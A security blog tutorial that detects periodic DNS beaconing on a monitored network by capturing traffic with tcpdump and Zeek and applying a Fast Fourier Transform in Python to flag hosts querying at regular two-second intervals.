Showing posts with label Malware Analysis. Show all posts
Showing posts with label Malware Analysis. Show all posts

Monday, October 9, 2023

Beginning Fourier Transform - Detecting Beaconing in our networks

Before digging any deeper, I must state, this notebook/post heavily leverages the work done by Joe Petroske on "Hunting Beacon Activity with Fourier Transforms" along with his notebook on GitHub at https://github.com/target/Threat-Hunting/blob/master/Beacon%20Hunting/find_beacons_by_fourier.ipynb

More importantly, it ties together what we teach in the SANS SEC595: Applied Data Science and AI/Machine Learning for Cybersecurity Professionals as a relates to leveraging Fourier Analysis to find beacons: https://www.sans.org/cyber-security-courses/applied-data-science-machine-learning/

While as mentioned above, this notebook/post leverages the above content heavily, we will move this from a problem to a solution. Meaning, we will start from scratch and then implement the solution, once again, based heavily on Joe's code. This way, when you are about to implement this in your environment, you are clear on how you can solve your problems.

You can grab the link to my notebook from my GitHub:

Issue/Problem/Concern:

One day, while capturing some packets for an unrelated issue, I saw the following:

securitynik@peeper:~$ sudo tcpdump -n --interface 2 '(port 53) and not (host 127.0.0.1)' -c 10  
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode  
listening on any, link-type EN10MB (Ethernet), snapshot length 262144 bytes  
18:39:24.124355 IP 10.0.0.9.46088 > 10.0.0.2.53: 40639+ A? somedomain.securitynik.local. (44)  
18:39:24.124604 IP 10.0.0.2.53 > 10.0.0.9.46088: 40639 4/0/0 CNAME somedomain.ca.securitynik.local., CNAME   securitynik-something.us-east-1.elb.amazonaws.com., A 172.16.16.55, A 172.16.16.211 (203)  
18:39:26.134773 IP 10.0.0.9.50992 > 10.0.0.2.53: 40640+ A? somedomain.securitynik.local. (44)  
18:39:26.135072 IP 10.0.0.2.53 > 10.0.0.9.50992: 40640 4/0/0 CNAME somedomain.ca.securitynik.local., CNAME     securitynik-something.us-east-1.elb.amazonaws.com., A 172.16.16.211, A 172.16.16.55 (203)  
18:39:28.144568 IP 10.0.0.9.49995 > 10.0.0.2.53: 40641+ A? somedomain.securitynik.local. (44)  
18:39:28.144829 IP 10.0.0.2.53 > 10.0.0.9.49995: 40641 4/0/0 CNAME somedomain.ca.securitynik.local., CNAME   securitynik-something.us-east-1.elb.amazonaws.com., A 172.16.16.55, A 172.16.16.211 (203)  
18:39:29.172416 IP 10.0.0.32.41636 > 10.0.0.2.53: 2+ A? pool.ntp.org. (30)  
18:39:29.181785 IP 10.0.0.2.53 > 10.0.0.32.41636: 2 4/0/0 A 162.159.200.123, A 137.220.55.232, A 217.180.209.214, A 209.115.181.107 (94)
...
 

Did you see anything interesting? 

I doubt whether at first glance, you saw what the issue is. Do you see the issue now that I have highlighted the time below?

securitynik@peeper:~$ sudo tcpdump -n --interface 2 '(port 53) and not (host 127.0.0.1)' -c 10  
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode  
listening on any, link-type EN10MB (Ethernet), snapshot length 262144 bytes  
**18:39:24**.124355 IP 10.0.0.9.46088 > 10.0.0.2.53: 40639+ A? somedomain.securitynik.local. (44)  
**18:39:24**.124604 IP 10.0.0.2.53 > 10.0.0.9.46088: 40639 4/0/0 CNAME somedomain.ca.securitynik.local., CNAME   securitynik-something.us-east-1.elb.amazonaws.com., A 172.16.16.55, A 172.16.16.211 (203)  
**18:39:26**.134773 IP 10.0.0.9.50992 > 10.0.0.2.53: 40640+ A? somedomain.securitynik.local. (44)  
**18:39:26**.135072 IP 10.0.0.2.53 > 10.0.0.9.50992: 40640 4/0/0 CNAME somedomain.ca.securitynik.local., CNAME   securitynik-something.us-east-1.elb.amazonaws.com., A 172.16.16.211, A 172.16.16.55 (203)  
**18:39:28**.144568 IP 10.0.0.9.49995 > 10.0.0.2.53: 40641+ A? somedomain.securitynik.local. (44)  
**18:39:28**.144829 IP 10.0.0.2.53 > 10.0.0.9.49995: 40641 4/0/0 CNAME somedomain.ca.securitynik.local., CNAME   securitynik-something.us-east-1.elb.amazonaws.com., A 172.16.16.55, A 172.16.16.211 (203)  
18:39:29.172416 IP 10.0.0.32.41636 > 10.0.0.2.53: 2+ A? pool.ntp.org. (30)  
18:39:29.181785 IP 10.0.0.2.53 > 10.0.0.32.41636: 2 4/0/0 A 162.159.200.123, A 137.220.55.232, A 217.180.209.214, A 209.115.181.107 (94)  
...

This DNS query is being made every 2 seconds it seems.  

This may be some type of beaconing. Or maybe it is just normal activity.  

Let's dig a bit deeper with TShark to see that there is definitely something worth paying attention to.   

Capture and write a few packets with tcpdump to the file system.  

securitynik@peeper:~$ **sudo tcpdump -n --interface 2 '(port 53) and not (host 127.0.0.1)' -v -w /tmp/dns-beacon.pcap**  
tcpdump: listening on any, link-type EN10MB (Ethernet), snapshot length 262144 bytes  
^C368 packets captured  
368 packets received by filter  

Take a view of some of the statistics from TShark for this specific host at 10.0.0.9

securitynik@peeper:~$ tshark -n -r /tmp/dns-beacon.pcap -q -z "io,stat,2,ip.addr==10.0.0.9 && udp.port==53" -t ad | more  

===============================================  
| IO Statistics                               |  
|                                             |  
| Duration: 205. 49758 secs                   |  
| Interval:   2 secs                          |  
|                                             |  
| Col 1: ip.addr==10.0.0.9 && udp.port==53    |  
|---------------------------------------------|  
|                     |1               |      |  
| Date and time       | Frames | Bytes |      |  
|--------------------------------------|      |  
| 2023-10-01 18:46:05 |      2 |   331 |      |   
| 2023-10-01 18:46:07 |      2 |   331 |      |  
| 2023-10-01 18:46:09 |      2 |   331 |      |    
| 2023-10-01 18:46:11 |      2 |   331 |      |    
| 2023-10-01 18:46:13 |      2 |   331 |      |    
| 2023-10-01 18:46:15 |      2 |   331 |      |  
| 2023-10-01 18:46:17 |      2 |   331 |      |  
| 2023-10-01 18:46:19 |      2 |   331 |      |  
| 2023-10-01 18:46:21 |      2 |   331 |      |  
| 2023-10-01 18:46:23 |      2 |   331 |      |  
| 2023-10-01 18:46:25 |      2 |   331 |      |  
| 2023-10-01 18:46:27 |      2 |   331 |      |  
| 2023-10-01 18:46:29 |      2 |   331 |      |  
| 2023-10-01 18:46:31 |      2 |   331 |      |  
| 2023-10-01 18:46:33 |      2 |   331 |      |  
| 2023-10-01 18:46:35 |      2 |   331 |      |  
| 2023-10-01 18:46:37 |      2 |   331 |      |  
| 2023-10-01 18:46:39 |      2 |   331 |      |  
...

Clearly from above, we can see there is something interesting. Every 2 seconds, we have 2 frames of the same size 331 bytes.  

At this point, we can connect to the host to attempt to learn which process might be making this request.  

I'm taking a different route, as this post/notebook is about looking at things from the network perspective.  

Fortunately for us, one of the tools in this monitored environment is Zeek. A Security monitoring framework we spend a lot of time on during day 4 of the SANS SEC503: Network Monitoring and Threat Detection In-Depth.

While I can pull this specific log, let's instead go back in time to extract a historical log. More specifically, I'm taking a log of the time we know this network should not be busy. Let's take a log file that should have records for between 01:00 and 02:00 AM.

securitynik@peeper:~$ ** ls /opt/zeek/logs/2023-10-01/dns.01\:00\:00-02\:00\:00.log.gz** 
/opt/zeek/logs/2023-10-01/dns.01:00:00-02:00:00.log.gz  

Let's read this log with zcat and then pipe it into jq then output it to a file

Here is what a sample from the Zeeks DNS log look like in NSON.

securitynik@peeper:~$ zcat /opt/zeek/logs/2023-10-01/dns.01\:00\:00-02\:00\:00.log.gz | jq '.' | more 
{  
  "ts": 1696122000.354959,  
  "uid": "CZ7wYd2iz86Xl4KbKl",  
  "id.orig_h": "10.0.0.4",
  "id.orig_p": 45084,
  "id.resp_h": "172.17.17.202",
  "id.resp_p": 53,
  "proto": "udp",
  "trans_id": 45635,
  "query": "4.0.0.10.in-addr.arpa",
  "qclass": 1,
  "qclass_name": "C_INTERNET",
  "qtype": 12,
  "qtype_name": "PTR",
  "rcode": 3,
  "rcode_name": "NXDOMAIN",
  "AA": false,
  "TC": false,
  "RD": true,
  "RA": false,
  "Z": 0,
  "rejected": false
}

Writing the log out to a file that can be read by Pandas  
Notice the "--slurp". If I don't use this, Pandas is going to complain about some trailing data issue and fail to read the file: See this link: https://datascientyst.com/fix-valueerror-trailing-data-pandas-and-json/

securitynik@peeper:~$ cat /opt/zeek/logs/2023-10-01/dns.01\:00\:00-02\:00\:00.log.gz | jq '.' --slurp > /tmp/dns-beacon-blog.json
securitynik@peeper:~$ ls /tmp/dns-beacon-blog.json
/tmp/dns-beacon-blog.json  

With this file in place, let's now copy the file to our local system where we will leverage some data science and the Fast Fourier Transform algorithm to solve this beaconing issue once and for all :-) 

C:\Users\SecurityNik>scp securitynik@peeper:/tmp/dns-beacon-blog.json d:\ml\dns-beacon-blog.json  
securitynik@peeper's password:  
dns-beacon-blog.json                                                                               100% 5337KB  12.4MB/s   00:00  

Load some libraries to start getting the real work done

import numpy as np
import pandas as pd
import plotly.express as px
import plotly.graph_objects as go
import matplotlib.pyplot as plt

Read our DNS Zeek log data.  Do note, while I am using the DNS log, you can use any log file you want that is coming out of Zeek. Notice though, my file is in JSON format. If you have a .CSV file, you will need to read that instead. This also means you may need to make other changes as you read your input.

df_dns = pd.read_json(r'd:/ML/dns-beacon-blog.json', date_unit='s')
df_dns


ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	proto	trans_id	query	qclass	...	rcode_name	AA	TC	RD	RA	Z	rejected	rtt	answers	TTLs
0	1.696122e+09	CZ7wYd2iz86Xl4KbKl	10.0.0.4	45084	172.17.17.202	53	udp	45635	4.0.0.10.in-addr.arpa	1.0	...	NXDOMAIN	False	False	True	False	0	False	NaN	NaN	NaN
1	1.696122e+09	CZ7wYd2iz86Xl4KbKl	10.0.0.4	45084	172.17.17.202	53	udp	45635	4.0.0.10.in-addr.arpa	1.0	...	NXDOMAIN	False	False	True	False	0	False	NaN	NaN	NaN
2	1.696122e+09	C3uf182pULaa9EMXSk	10.0.0.4	50481	172.17.17.202	53	udp	22814	37.0.0.10.in-addr.arpa	1.0	...	NXDOMAIN	False	False	True	False	0	False	NaN	NaN	NaN
3	1.696122e+09	C3uf182pULaa9EMXSk	10.0.0.4	50481	172.17.17.202	53	udp	22814	37.0.0.10.in-addr.arpa	1.0	...	NXDOMAIN	False	False	True	False	0	False	NaN	NaN	NaN
4	1.696122e+09	CCUXAw1G7JacmmyKg5	10.0.0.4	57870	172.17.17.202	53	udp	43043	2.0.0.10.in-addr.arpa	1.0	...	NXDOMAIN	False	False	True	False	0	False	NaN	NaN	NaN
...	...	...	...	...	...	...	...	...	...	...	...	...	...	...	...	...	...	...	...	...	...
8212	1.696126e+09	CKcOYZKBKoynKzGWb	10.0.0.8	45024	172.17.17.198	53	udp	60189	3.pool.ntp.org	1.0	...	NOERROR	False	False	True	True	0	False	0.015551	[192.95.0.223, 158.69.20.38, 174.94.155.224, 1...	[26, 26, 26, 26]
8213	1.696126e+09	Cybpy5GqwGfARfcBd	10.0.0.8	47334	172.17.17.198	53	udp	60445	time.google.com	1.0	...	NOERROR	False	False	True	True	0	False	0.015610	[216.239.35.8, 216.239.35.12, 216.239.35.0, 21...	[13571, 13571, 13571, 13571]
8214	1.696126e+09	CoJXrj4DErFd7n6BMk	10.0.0.9	40965	10.0.0.2	53	udp	10875	somedomain.securitynik.local	1.0	...	NOERROR	False	False	True	True	0	False	0.000250	[somedomain.ca.securitynik.local, a37295100167...	[83, 23, 23, 23]
8215	1.696126e+09	CPwL9M3cooP7rtZmB9	10.0.0.24	36625	10.0.0.2	53	udp	44475	i.ytimg.com	1.0	...	NOERROR	False	False	True	True	0	False	0.013948	[142.251.33.182, 142.251.41.86, 142.251.32.86,...	[274, 274, 274, 274]
8216	1.696126e+09	CQVtNH8FvtlwO44Fl	10.0.0.24	58969	10.0.0.2	53	udp	60354	youtubei.googleapis.com	1.0	...	NOERROR	False	False	True	True	0	False	0.035568	[142.251.32.74, 142.251.41.42, 172.217.1.10, 1...	[249, 249, 249, 249, 249, 249]
8217 rows × 24 columns

Get the list of columns. I need this as I will drop a few columns.

df_dns.columns

Index(['ts', 'uid', 'id.orig_h', 'id.orig_p', 'id.resp_h', 'id.resp_p',
       'proto', 'trans_id', 'query', 'qclass', 'qclass_name', 'qtype',
       'qtype_name', 'rcode', 'rcode_name', 'AA', 'TC', 'RD', 'RA', 'Z',
       'rejected', 'rtt', 'answers', 'TTLs'],
      dtype='object')

Let's go ahead and drop some of these columns that are of no use to us. I'm keeping the port to also see if all of this activity is occurring on the same source port. Dropping the destination port as we know this is DNS. Definitely keeping the timestamp as this is what Joe used in his code to find beacons. It is also what we will use. Definitely also keeping the query as we need to know what domain the host(s) was/were trying to resolve.

df_dns = df_dns.drop(columns=[ 'uid', 'id.resp_p', 'proto', 'trans_id', 'qclass', 'qclass_name', 'qtype', 'qtype_name', 'rcode', 'rcode_name', 'AA', 'TC', 'RD', 'RA', 'Z', 'rejected', 'rtt', 'answers', 'TTLs'], inplace=False)

# View the first 5 records
df_dns.iloc[:5]

ts	id.orig_h	id.orig_p	id.resp_h	query
0	1.696122e+09	10.0.0.4	45084	172.17.17.202	4.0.0.10.in-addr.arpa
1	1.696122e+09	10.0.0.4	45084	172.17.17.202	4.0.0.10.in-addr.arpa
2	1.696122e+09	10.0.0.4	50481	172.17.17.202	37.0.0.10.in-addr.arpa
3	1.696122e+09	10.0.0.4	50481	172.17.17.202	37.0.0.10.in-addr.arpa
4	1.696122e+09	10.0.0.4	57870	172.17.17.202	2.0.0.10.in-addr.arpa

Here is the full example of one of these times

df_dns.ts[1]

1696122000.366851

Let's get this time into a format we can understand. More specifically, put it into a time that gives us the seconds.

df_dns.ts[1].astype(dtype='datetime64[s]')
numpy.datetime64('2023-10-01T01:00:00')

Changing all the times to more human readable time

df_dns['ts'] = df_dns['ts'].astype(dtype='datetime64[s]')
df_dns

ts	id.orig_h	id.orig_p	id.resp_h	query
0	2023-10-01 01:00:00	10.0.0.4	45084	172.17.17.202	4.0.0.10.in-addr.arpa
1	2023-10-01 01:00:00	10.0.0.4	45084	172.17.17.202	4.0.0.10.in-addr.arpa
2	2023-10-01 01:00:00	10.0.0.4	50481	172.17.17.202	37.0.0.10.in-addr.arpa
3	2023-10-01 01:00:00	10.0.0.4	50481	172.17.17.202	37.0.0.10.in-addr.arpa
4	2023-10-01 01:00:00	10.0.0.4	57870	172.17.17.202	2.0.0.10.in-addr.arpa
...	...	...	...	...	...
8212	2023-10-01 01:59:57	10.0.0.8	45024	172.17.17.198	3.pool.ntp.org
8213	2023-10-01 01:59:57	10.0.0.8	47334	172.17.17.198	time.google.com
8214	2023-10-01 01:59:58	10.0.0.9	40965	10.0.0.2	somedomain.securitynik.local
8215	2023-10-01 01:59:59	10.0.0.24	36625	10.0.0.2	i.ytimg.com
8216	2023-10-01 01:59:59	10.0.0.24	58969	10.0.0.2	youtubei.googleapis.com
8217 rows × 5 columns

I would like this data to be between 01:00 - 02:00 AM.  Primary reason is, it is easier for me to monitor my sampling period. Let's verify there is no data outside of this range. This returns one record. Not a major concern but I will still drop it.

df_dns[df_dns.ts < '2023-10-01 01:00:00' ]

ts	id.orig_h	id.orig_p	id.resp_h	query
48	2023-10-01 00:59:55	10.0.0.10	5353	224.0.0.251	_googlecast._tcp.local

Dropping the one record above

df_dns.drop(df_dns[df_dns.ts < '2023-10-01 01:00:00' ].index, inplace=True)

Any records greater than 1:59?. Looks like there is none.

ts	id.orig_h	id.orig_p	id.resp_h	query

Sort the timestamp (ts) column. Start from 01:00 am to get to 1:59 am

df_dns.sort_values(by='ts', ascending=True)
df_dns

s	id.orig_h	id.orig_p	id.resp_h	query
0	2023-10-01 01:00:00	10.0.0.4	45084	172.17.17.202	4.0.0.10.in-addr.arpa
1	2023-10-01 01:00:00	10.0.0.4	45084	172.17.17.202	4.0.0.10.in-addr.arpa
2	2023-10-01 01:00:00	10.0.0.4	50481	172.17.17.202	37.0.0.10.in-addr.arpa
3	2023-10-01 01:00:00	10.0.0.4	50481	172.17.17.202	37.0.0.10.in-addr.arpa
4	2023-10-01 01:00:00	10.0.0.4	57870	172.17.17.202	2.0.0.10.in-addr.arpa
...	...	...	...	...	...
8212	2023-10-01 01:59:57	10.0.0.8	45024	172.17.17.198	3.pool.ntp.org
8213	2023-10-01 01:59:57	10.0.0.8	47334	172.17.17.198	time.google.com
8214	2023-10-01 01:59:58	10.0.0.9	40965	10.0.0.2	somedomain.securitynik.local
8215	2023-10-01 01:59:59	10.0.0.24	36625	10.0.0.2	i.ytimg.com
8216	2023-10-01 01:59:59	10.0.0.24	58969	10.0.0.2	youtubei.googleapis.com
8216 rows × 5 columns

Visualize the time period

fig = px.histogram(data_frame=df_dns, x='ts', title='Originator IP Bytes Between 1 and 2 AM')
fig.show()
The sampling rate must be at least 2* the highest frequency we're trying to find.
Above, the time span is 1 hour or 60 minutes or 3600 seconds
We then need to sample this signal at a rate of at least 2 times the highest frequency
Since this is in seconds, the highest frequency is 3600
Hence we need to sample preferably uniformly at a rate of at least 2*3600
Sampling at a rate of at least 2*3600 allows us to be able to reconstruct the original signal in the time domain, from the frequency domain if needed

sampling_period = 3600
sampling_period

3600

The sampling rate is every 1 second. Hence we do 1./3600 to get the frequency per second

1./sampling_period

0.0002777777777777778

To get the frequency per minute or per 60 seconds, we do (1/.3600) * 60

(1./sampling_period) * 60

0.016666666666666666

Which also means, to get any frequency in between, we just multiply by that number of seconds.
Or for 2 seconds

(1./sampling_period) * 2

0.0005555555555555556

Extract the timestamp column and add it to its own Pandas series

tmp_data = df_dns['ts']
tmp_data, type(tmp_data) (0 2023-10-01 01:00:00 1 2023-10-01 01:00:00 2 2023-10-01 01:00:00 3 2023-10-01 01:00:00 4 2023-10-01 01:00:00 ... 8212 2023-10-01 01:59:57 8213 2023-10-01 01:59:57 8214 2023-10-01 01:59:58 8215 2023-10-01 01:59:59 8216 2023-10-01 01:59:59 Name: ts, Length: 8216, dtype: datetime64[s], pandas.core.series.Series)

Replace the index column with the timestamp

tmp_data.index = tmp_data
tmp_data

ts
2023-10-01 01:00:00   2023-10-01 01:00:00
2023-10-01 01:00:00   2023-10-01 01:00:00
2023-10-01 01:00:00   2023-10-01 01:00:00
2023-10-01 01:00:00   2023-10-01 01:00:00
2023-10-01 01:00:00   2023-10-01 01:00:00
                              ...        
2023-10-01 01:59:57   2023-10-01 01:59:57
2023-10-01 01:59:57   2023-10-01 01:59:57
2023-10-01 01:59:58   2023-10-01 01:59:58
2023-10-01 01:59:59   2023-10-01 01:59:59
2023-10-01 01:59:59   2023-10-01 01:59:59
Name: ts, Length: 8216, dtype: datetime64[s]

Using knowledge of 2 seconds as was seen via the tcpdump as my guide
You can try to use 1 second but I don't think it will find anything meaningful. I can be wrong!
I don't think 1 second would be representative of a real problem
Set my period of 2 seconds 

best_period = '2s'
best_period

'2s'

Get a count of the data points occurring every 2 seconds and print the first 10 entries

counts_per_period = tmp_data.resample(best_period).count()

# Print the first 10 entries
counts_per_period[:10], len(counts_per_period)


(ts
 2023-10-01 01:00:00    30
 2023-10-01 01:00:02    13
 2023-10-01 01:00:04     7
 2023-10-01 01:00:06     2
 2023-10-01 01:00:08     4
 2023-10-01 01:00:10     4
 2023-10-01 01:00:12    15
 2023-10-01 01:00:14     2
 2023-10-01 01:00:16     1
 2023-10-01 01:00:18     1
 Freq: 2S, Name: ts, dtype: int64,
 1800)


Confirm the type is a Pandas Series

type(counts_per_period)

pandas.core.series.Series

Take a look inside the keys. This shows the 2 second periods

counts_per_period.keys()

DatetimeIndex(['2023-10-01 01:00:00', '2023-10-01 01:00:02',
               '2023-10-01 01:00:04', '2023-10-01 01:00:06',
               '2023-10-01 01:00:08', '2023-10-01 01:00:10',
               '2023-10-01 01:00:12', '2023-10-01 01:00:14',
               '2023-10-01 01:00:16', '2023-10-01 01:00:18',
               ...
               '2023-10-01 01:59:40', '2023-10-01 01:59:42',
               '2023-10-01 01:59:44', '2023-10-01 01:59:46',
               '2023-10-01 01:59:48', '2023-10-01 01:59:50',
               '2023-10-01 01:59:52', '2023-10-01 01:59:54',
               '2023-10-01 01:59:56', '2023-10-01 01:59:58'],
              dtype='datetime64[s]', name='ts', length=1800, freq='2S')

Extract the values occurring at those timestamps
Let's call it x for now

x = counts_per_period.values
x

array([30, 13,  7, ...,  1, 19,  3], dtype=int64)

Get the length of x. Because the sampling was done for 1 hour or 3600 seconds, by looking at the data from 2 seconds perspective, we now have 1800 data points

len(x)

1800

Plot the values in x

plt.title('Plot of of the values in x')
plt.plot(x)
plt.xlabel(xlabel='Time in 2secs window')
plt.ylabel(ylabel='Counts Per Period')
plt.show()
Definitely from above we can see some spikes. This suggest some 2 seconds period have a large amount of counts. 

Get the Fourier Transform of the signal. Notice the result is a complex number, consisting of the real and imaginary component

fourier = np.fft.fft(x)
fourier, len(fourier)

(array([ 8216.           +0.j        ,  1913.98722741 -956.73902893j,
           18.18684807-1246.50554465j, ..., -1694.41853886 +611.36477164j,
           18.18684807+1246.50554465j,  1913.98722741 +956.73902893j]),
 1800)

Plot the values as is before finding the absolute values. Even though we used Fourier Transform, the x axis is still the number of samples rather than the frequency. This can be confirmed by the 1800 of the x axis. Notice above, there is 1800 at the bottom of the cell

plt.title(label='Plot before finding the absolute values')
plt.plot(fourier)
plt.xlabel(xlabel='samples')
plt.ylabel(ylabel='amplitude before normalize')
plt.show()

C:\Users\SecurityNik\AppData\Roaming\Python\Python39\site-packages\matplotlib\cbook\__init__.py:1340: ComplexWarning:

Casting complex values to real discards the imaginary part


Plot the values as is after finding the absolute values. We can see the symmetry in both the graph below and the one above. Even though we used Fourier Transform, the x axis is still the number of samples rather than the frequency. Notice the Y axis also goes to negative values.


plt.title(label='Amplitude - After finding the absolute values')
plt.plot(np.abs(fourier))
plt.xlabel(xlabel='samples')
plt.ylabel(ylabel='amplitude before normalize')
plt.show()


Let's normalize the FFT output. 
Remember, Shannon Nyquist states if we sample a signal at a rate of at least 2 times the highest frequency, the analog signal can be recovered perfectly

At the same time, setup the sampling period. These logs are for an hour 01:00 to 01:59. I am keeping this because my original log was for that period. When we resampled the data above by 2 seconds, it returned 1800 records.

N = len(x)
normalize = N/2
sampling_period = 3600
len(x), N, normalize, sampling_period

(1800, 1800, 900.0, 3600)

Plot the absolute value of the amplitude

plt.title(label='Normalize amplitude values')
plt.plot(np.abs(fourier)/normalize)
plt.xlabel(xlabel='samples')
plt.ylabel(ylabel='amplitude after normalization')
plt.show()

Need to fix the frequency. We are sampling at every one second in the hour. This is where I am using the 3600 rather than the 1800


frequency_rate = 1./sampling_period
frequency_rate

0.0002777777777777778

Get the frequency axis

frequency_axis = np.fft.fftfreq(n=N, d=frequency_rate)
frequency_axis, len(frequency_axis)

(array([ 0.,  2.,  4., ..., -6., -4., -2.]), 1800)


With the frequency axis in place, let's plot the frequency axis on its own for now. Notice the Y axis is both positive and negative. Notice it goes from 0 to 1800 which is half of 3600 which is basically half our sampling period. Also notice it goes from 0 to -1800. Did you see the symmetry?

plt.title('Plot showing both frequency in both negative and positive values') plt.plot(frequency_axis, lw=3, c='r') plt.ylabel('amplitude') plt.xlabel('count of samples');



Looking at the symmetry from another way. With the frequency axis in place, let's plot the frequency axis on its own for now. Notice the Y axis is both positive and negative. Notice it goes from 0 to 1800 which is half of 3600 which is basically half our sampling period. Also notice it goes from 0 to -1800.
You should be able to see the symmetry now? Basically same as you saw above. Just from a different perspective

norm_amplitude = np.abs(fourier)/normalize
plt.title('Plot showing symmetry of frequencies') plt.plot(frequency_axis, norm_amplitude) plt.ylabel('amplitude') plt.xlabel('Frequencies')
Just print the length and frequency values as a refresher for me

N, frequency_rate

(1800, 0.0002777777777777778)

Just getting a better understanding of the lengths

len(np.fft.rfft(x)), len(2*np.abs(np.fft.rfft(x))), len(np.abs(np.fft.rfft(x))), N
(901, 901, 901, 1800)

Finalize this code

We see that we have also gotten rid of the symmetry and now only have the positive half on the line

plt.plot(np.fft.rfftfreq(n=N, d=frequency_rate), 2*np.abs(np.fft.rfft(x))/N)

Compute the FFT values returned for the counts per second
Use the sampling period of 3600

fft = abs(np.fft.rfft(counts_per_period)) dvalue = int(best_period.rstrip("s")) frequencies = np.fft.rfftfreq(n=len(counts_per_period), d=dvalue/sampling_period) # Print the first 10 entries frequencies[:10] array([0., 1., 2., 3., 4., 5., 6., 7., 8., 9.])


Get any signal spikes over CONST * stdev over the rest of the noise.  This will be the interesting stuff to look at.  The amplitudes (y-values) come from the FFT array found above.

Find the standard deviation of the remaining data, so we can use it to find the strongest signals present.  
Strip off the first 10% of the frequencies found, which will remove the DC component of the signal, leaving you with just the actual signal spikes.


print(f'Max frequency: {max(frequencies)}')
print(f'10% of the max frequency value: {0.1*max(frequencies)}')
print(f'Here are the frequencies - the lower 10%: \n\t {frequencies[frequencies > 0.1*max(frequencies)][:10]}')

Max frequency: 900.0
10% of the max frequency value: 90.0
Here are the frequencies - the lower 10%: 
	 [ 91.  92.  93.  94.  95.  96.  97.  98.  99. 100.]


With the above being made clear, save these new frequencies to a variable

stripped_frequencies = frequencies[ frequencies > 0.1 * max(frequencies) ]

# Print the first 10 entries
stripped_frequencies[:10]

array([ 91.,  92.,  93.,  94.,  95.,  96.,  97.,  98.,  99., 100.])

print(f'[*] Size of stripped frequencies: {stripped_frequencies.size}')
print(f'[*] Length of the fft transformed data: {len(fft)}') print(f'[*] New FFT: {fft[len(fft) - stripped_frequencies.size:][:10]}') [*] Size of stripped frequencies: 810 [*] Length of the fft transformed data: 901 [*] New FFT: [1143.47208739 473.94896724 304.70114392 420.31706819 219.34075832 581.26586592 572.50777759 136.43847641 1108.424958 1136.18872268]

Get the stripped FFT. Print the first 10 entries

stripped_fft = fft[len(fft) - stripped_frequencies.size:]

stripped_fft[:10]

array([1143.47208739,  473.94896724,  304.70114392,  420.31706819,
        219.34075832,  581.26586592,  572.50777759,  136.43847641,
       1108.424958  , 1136.18872268])

Leverage descriptive statistics. Get the standard deviation

std_dev = np.std(stripped_fft)

# Get the mean
mean = np.mean(stripped_fft)

# Set a threshold
threshold = mean + 2*std_dev

print(f'Standard Deviation: {std_dev} | Mean: {mean} | Threshold: {threshold}')


Standard Deviation: 240.6914745391128 | Mean: 369.67931016529883 | Threshold: 851.0622592435244

Add the strong signals to a list

1./sampling_period

strong_signals = [] for signal in stripped_fft: if (signal > threshold): # print(f"adding signal: {str(signal)}") strong_signals.append(signal) # Print the first 10 entries strong_signals[:10] [1143.4720873935075, 1108.4249580037538, 1136.188722679384, 978.1350685678566, 1309.8618870200787, 1265.7223903589352, 1214.0629560494137, 1747.6746509763254, 1440.277194109987, 1079.5542043630226]

Plot the frequency data after removing the DC component

fig = px.line(
    x=stripped_frequencies,
    y=(abs(stripped_fft)),
    labels=dict(x="Frequency (cycle/sec)", y="Connection Information"),
    title="Connection Information by Frequency With DC Removed; Sampling Period: " + best_period
)
fig.show()


For each strong signal: find the array index from the FFT array

signal_indices = []
i = 0
while (i < len(strong_signals)):
    matching_index = np.where(fft == np.float64(strong_signals[i]))[0][0]
    #print(f'Matching Index: {matching_index}')
    signal_indices.append(matching_index)
    i += 1

signal_indices[:10]


[91, 99, 100, 103, 104, 105, 106, 107, 108, 109]

Create a new array of the same size as the FFT array.  Zero it out, except for the indices you just found, which are the strong signals we want to find the times for.

strong_signal_frequencies = np.zeros(len(fft))
for index in signal_indices:
    strong_signal_frequencies[index] = frequencies[index]
    
strong_signal_amplitudes = np.zeros(len(fft))
for index in signal_indices:
    strong_signal_amplitudes[index] = fft[index]

Graph the data in the time domain, by your 2 seconds sampling period. Clearly we can see below there spikes of interest

fig = px.line(
    counts_per_period,
    labels=dict(x="Timestamp", y="DNS Log Information"),
    title="DNS By Timestamp; Sampling Period: " + best_period
)
fig.show()


De-noise the data by filtering. Make an effective bandpass filter by zeroing out all the frequencies except the strong ones found above.  Plot just the strong signal frequencies vs their amplitudes.

Use the Inverse FFT to flip just the strong signals back to time-domain

inverse_fft = np.fft.irfft(strong_signal_amplitudes, len(counts_per_period))

fig = px.line(
    x=counts_per_period.to_frame().index,
    y=inverse_fft,
    labels=dict(x="Timestamp", y="DNS Log"),
        title="Periodic Signal"
)

fig.show()


OK.  Now, for each of our strong signals, we need to identify domains from our original data set that had a count of DNS requests "near" our signal strengths.  (It won't be spot-on, due to sample frequency bin width and signal jitter.)  This will be the shortlist of IP for further investigation.

shortlist = []
newdf = df_dns.groupby(['id.orig_h']).size().reset_index(name='counts')
for amplitude in strong_signals:
    shortlist.append(newdf[ (newdf['counts'] > (amplitude*0.8)) & (newdf['counts'] < (amplitude*1.2)) ])
    
results = pd.concat(shortlist, ignore_index=True)
#print(results)
results[['id.orig_h','counts']]


id.orig_h	counts
0	10.0.0.24	1927
1	10.0.0.9	1770

Just as we expected, this started off with us recognizing via tcpdump that the host at 10.0.0.9 is sending beacons every two seconds. Not only are we able to find that host but we also are seeing another host that is exhibiting similar behaviour. Let's now go back into our Pandas DataFrame and isolate traffic from these two hosts.

df_dns[(df_dns['id.orig_h'] == '10.0.0.9') | (df_dns['id.orig_h'] == '10.0.0.24') ]

ts	id.orig_h	id.orig_p	id.resp_h	query
21	2023-10-01 01:00:00	10.0.0.9	40520	10.0.0.2	somedomain.securitynik.local
28	2023-10-01 01:00:00	10.0.0.24	41626	10.0.0.2	assets-sncust.securitynik.com
29	2023-10-01 01:00:00	10.0.0.24	39327	10.0.0.2	assets-sncust.securitynik.com
35	2023-10-01 01:00:02	10.0.0.9	33415	10.0.0.2	somedomain.securitynik.local
37	2023-10-01 01:00:03	10.0.0.24	61312	10.0.0.2	s.update.3lift.com
...	...	...	...	...	...
8194	2023-10-01 01:59:45	10.0.0.24	5353	224.0.0.251	_googlecast._tcp.local
8209	2023-10-01 01:59:56	10.0.0.9	55148	10.0.0.2	somedomain.securitynik.local
8214	2023-10-01 01:59:58	10.0.0.9	40965	10.0.0.2	somedomain.securitynik.local
8215	2023-10-01 01:59:59	10.0.0.24	36625	10.0.0.2	i.ytimg.com
8216	2023-10-01 01:59:59	10.0.0.24	58969	10.0.0.2	youtubei.googleapis.com
